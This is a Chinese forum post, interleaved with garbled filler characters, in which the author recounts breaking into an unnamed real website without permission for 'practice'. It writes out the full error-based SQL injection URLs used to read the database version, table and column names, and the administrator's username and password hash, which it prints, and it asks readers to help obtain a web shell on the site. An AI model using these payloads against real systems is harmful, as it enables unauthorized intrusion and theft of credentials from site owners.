近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。# r# f7 r, w8 ~% a: W# b: I
首先找到网站后台,加了个admin,后台出来了
% C! r" }! `" p9 G4 \3 C+ b9 y* c4 J! H. p W. C$ [1 \# I
/ u6 o; J. a1 \. P然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
1 m& {( D+ x% C/ Hhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—6 \" [) o) Q% E! s8 |! a
$ } { \ K) Z9 O( J+ b( t
" R3 y4 S5 U) \0 O! k: `$ b- N# q( S c1 f
@) ^# }' ~, Z
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
$ g1 G6 e/ t' M/ a% ?2 {$ j" ?- x# ^! o' |" `$ ~
4 S$ C) F( y& O
" @5 B% r* c( v. C- I$ g4 I
5 D/ g! `" d% B
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
9 h& e2 ]3 w$ h5 v2 R& C5 w1 \9 W; O$ P* |9 t; u1 {
. W, H8 }- V2 ?: d! V& V/ ghttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
: v+ q0 P |5 Z3 S# @$ H+ F R; w& t/ P9 D! m6 a
8 x- D6 e9 @" h: d u$ C$ e 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
7 U" R+ k& u7 p" i; ]+ y2 g; w- O
& D! \4 s" s- ^0 W6 K2 x3 e A( _& l$ w& f* Q: J
4 T! v3 q: N# K& i 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
6 B' B! J; B* }% W! S9 G( \; a2 l5 W0 Z) s9 a
# `- I" b Q1 s
$ T1 m! x' y( u- Z/ Z9 H: P, {1 U, [ 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |